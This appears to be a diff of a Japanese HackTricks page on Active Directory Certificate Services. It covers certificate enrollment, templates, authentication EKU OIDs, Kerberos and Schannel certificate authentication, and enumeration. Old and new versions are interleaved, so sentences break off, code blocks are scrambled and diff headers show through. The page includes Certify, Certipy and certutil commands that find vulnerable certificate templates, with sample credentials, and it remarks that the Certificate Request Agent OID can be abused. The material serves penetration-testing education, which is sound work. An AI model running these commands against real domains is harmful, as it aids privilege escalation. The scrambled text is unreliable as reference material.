4. そうであれば、**CA は証明書を生成**します。これは、**証明書テンプレート**で定義された「設計図」設定EKU、暗号化設定、発行要件などを使用し、証明書のテンプレート設定で許可されている場合は CSR に提供されたその他の情報を使用します。**CA は証明書に自分の秘密鍵で署名**し、それをクライアントに返します。
1. リクエストプロセスは、クライアントがエンタープライズCAを見つけることから始まります。
2. パブリック-プライベートキーペアを生成した後、公開鍵やその他の詳細を含むCSRが作成されます。
3. CAは、利用可能な証明書テンプレートに対してCSRを評価し、テンプレートの権限に基づいて証明書を発行します。
4. 承認されると、CAは証明書に自身の秘密鍵で署名し、クライアントに返します。
### 証明書テンプレート
AD CS は、利用可能な証明書テンプレートを以下のコンテナにある **`pKICertificateTemplate`** の **objectClass** を持つ AD オブジェクトとして格納します:
AD内で定義されるこれらのテンプレートは、証明書の発行に関する設定と権限を概説し、証明書サービスへのアクセスを管理するために重要です。
`CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>`
## 証明書の登録
AD 証明書テンプレートオブジェクトの属性はその**設定を定義し、セキュリティ記述子は**どの**プリンシパルが**証明書に登録できるか、または証明書テンプレートを**編集**できるかを制御します。
証明書の登録プロセスは、管理者が **証明書テンプレートを作成** し、それがエンタープライズ証明書機関CAによって **公開** されることで開始されます。これにより、テンプレートの名前がActive Directoryオブジェクトの `certificatetemplates` フィールドに追加され、クライアントの登録が可能になります。
AD 証明書テンプレートオブジェクトの **`pKIExtendedKeyUsage`** 属性には、テンプレートで有効になっている **OID の配列**が含まれます。これらの EKU OID は、**証明書を使用できる内容に影響を与えます**。[可能な OID のリストはこちら](https://www.pkisolutions.com/object-identifiers-oid-in-pki/)で見つけることができます。
証明書をリクエストするためには、 **登録権限** が付与されている必要があります。これらの権限は、証明書テンプレートとエンタープライズCA自体のセキュリティ記述子で定義されます。リクエストが成功するには、両方の場所で権限が付与されている必要があります。
#### 認証 OID
### テンプレートの登録権限
* `1.3.6.1.5.5.7.3.2`: クライアント認証
* `1.3.6.1.5.2.3.4`: PKINIT クライアント認証(手動で追加する必要がある)
* `1.3.6.1.4.1.311.20.2.2`: スマートカードログオン
* `2.5.29.37.0`: 任意の目的
* `(no EKUs)`: SubCA
* 私たちが悪用できると判断した追加の EKU OID は、Certificate Request Agent OID (`1.3.6.1.4.1.311.20.2.1`) です。この OID を持つ証明書は、特定の制限が設けられていない限り、**他のユーザーに代わって証明書をリクエストするために使用できます**。
これらの権限は、アクセス制御エントリACEを介して指定され、次のような権限を詳細に説明します:
- **Certificate-Enrollment** および **Certificate-AutoEnrollment** 権限は、それぞれ特定のGUIDに関連付けられています。
- **ExtendedRights** は、すべての拡張権限を許可します。
- **FullControl/GenericAll** は、テンプレートに対する完全な制御を提供します。
## 証明書登録
### エンタープライズCAの登録権限
管理者は**証明書テンプレートを作成する必要があり**、その後、**Enterprise CA がテンプレートを「公開」**し、クライアントが登録できるようにします。AD CS は、**Enterprise CA
CAの権限は、証明書機関管理コンソールからアクセス可能なセキュリティ記述子に記載されています。一部の設定では、低特権ユーザーにリモートアクセスを許可することができ、これはセキュリティ上の懸念となる可能性があります。
### 追加の発行コントロール
次のようなコントロールが適用される場合があります:
- **マネージャー承認**: 証明書マネージャーによる承認までリクエストを保留状態にします。
- **Enrolment Agents and Authorized Signatures**: CSRに必要な署名の数や必要なApplication Policy OIDsを指定します。
### 証明書をリクエストする方法
証明書は、次の方法でリクエストできます:
1. **Windowsクライアント証明書登録プロトコル**MS-WCCE、DCOMインターフェースを使用します。
2. **ICertPassage Remote Protocol**MS-ICPR、名前付きパイプまたはTCP/IPを介して行います。
3. **証明書登録Webインターフェース**、証明書機関Web登録ロールがインストールされている場合。
4. **Certificate Enrollment Service**CES**Certificate Enrollment Policy**CEPサービスと共に使用します。
5. **Network Device Enrollment Service**NDESは、Simple Certificate Enrollment ProtocolSCEPを使用してネットワークデバイス向けに証明書をリクエストします。
Windowsユーザーは、GUI`certmgr.msc` または `certlm.msc`)またはコマンドラインツール(`certreq.exe` または PowerShell の `Get-Certificate` コマンド)を使用して証明書をリクエストすることもできます。
```powershell
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
## 証明書認証
Active DirectoryADは、主に**Kerberos**および**Secure ChannelSchannel**プロトコルを利用して証明書認証をサポートしています。
### Kerberos認証プロセス
Kerberos認証プロセスでは、ユーザーのチケット発行チケットTGTのリクエストは、ユーザーの証明書の**秘密鍵**を使用して署名されます。このリクエストは、ドメインコントローラーによって証明書の**有効性**、**パス**、および**失効状態**を含む複数の検証を受けます。検証には、証明書が信頼されるソースから来ていることの確認や、**NTAUTH証明書ストア**内の発行者の存在の確認も含まれます。成功した検証により、TGTが発行されます。AD内の**`NTAuthCertificates`**オブジェクトは、次の場所にあります:
```bash
# https://github.com/GhostPack/Certify
Certify.exe cas #enumerate trusted root CA certificates, certificates defined by the NTAuthCertificates object, and various information about Enterprise CAs
Certify.exe find #enumerate certificate templates
Certify.exe find /vulnerable #Enumerate vulenrable certificate templater
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
信頼を確立するための中心的な役割を果たします。
# https://github.com/ly4k/Certipy
certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
certipy find -vulnerable [-hide-admins] -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 #Search vulnerable templates
### セキュア チャネル (Schannel) 認証
certutil.exe -TCAInfo #enumerate Enterprise CAs
certutil -v -dstemplate #enumerate certificate templates
Schannel は安全な TLS/SSL 接続を容易にし、ハンドシェイク中にクライアントが証明書を提示し、成功裏に検証されるとアクセスが許可されます。証明書を AD アカウントにマッピングする際には、Kerberos の **S4U2Self** 関数や証明書の **Subject Alternative Name (SAN)** などの方法が関与する可能性があります。
### AD 証明書サービスの列挙
AD の証明書サービスは LDAP クエリを介して列挙でき、**Enterprise Certificate Authorities (CAs)** およびそれらの構成に関する情報が明らかになります。これは特別な特権を持たないドメイン認証ユーザーでもアクセス可能です。**[Certify](https://github.com/GhostPack/Certify)** や **[Certipy](https://github.com/ly4k/Certipy)** のようなツールは、AD CS 環境での列挙や脆弱性評価に使用されます。
これらのツールを使用するためのコマンドは次のとおりです:
```bash
# Enumerate trusted root CA certificates and Enterprise CAs with Certify
Certify.exe cas
# Identify vulnerable certificate templates with Certify
Certify.exe find /vulnerable
# Use Certipy for enumeration and identifying vulnerable templates
certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
# Enumerate Enterprise CAs and certificate templates with certutil
certutil.exe -TCAInfo
certutil -v -dstemplate
```
## 参考文献
@ -112,14 +131,14 @@ certutil -v -dstemplate #enumerate certificate templates
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください
</details>

Some files were not shown because too many files have changed in this diff Show more